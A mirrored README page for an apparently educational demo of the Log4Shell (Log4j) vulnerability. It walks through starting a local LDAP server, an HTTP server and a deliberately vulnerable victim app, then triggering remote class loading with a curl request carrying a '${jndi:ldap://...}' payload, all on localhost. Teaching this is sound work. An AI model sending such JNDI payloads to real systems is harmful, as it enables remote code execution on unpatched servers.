Giter VIP home page Giter VIP logo

log4j-log4shell-exploit's Introduction

log4j-log4shell-exploit

Demo Project for the Log4j vulnerability.

To run the demo see https://youtu.be/JYiagUpmxXo (German)

Setup

  1. Install a Java SDK. It works e.g. with Oracle SDK Version 8 or OpenJDK Version 11
  2. Clone this project:
git clone https://github.com/predic8/log4j-log4shell-exploit
  1. Go into the folder:
cd log4j-log4shell-exploit

Run the demo

On Windows use mvnw.cmd instead of ./mvnw

1.) Build the project:

./mvnw package
  1. Start the LdapServer:
./mvnw exec:java -D"exec.mainClass"="de.predic8.LdapServer"

2.) Start the HttpServer:

./mvnw exec:java -D"exec.mainClass"="de.predic8.HttpServer"

3.) Start the victim:

./mvnw exec:java -D"exec.mainClass"="de.predic8.Opfer"

4.) Use curl or your browser to invoke the following URL:

curl 'http://localhost:8000/hallo?name=$\{jndi:ldap://localhost:10389/cn=badcode,dc=predic8,dc=de\}'

or open in your browser:

http://localhost:8000/hallo?name=${jndi:ldap://localhost:10389/cn=badcode,dc=predic8,dc=de}

The victim application will write into its log and the ldap query will be executed. The result of the Ldap query will make the victim loading the malicious class from the HTTP server and executing it.

Please be aware that even hacking attempts are illegal!

log4j-log4shell-exploit's People

Watchers

 avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.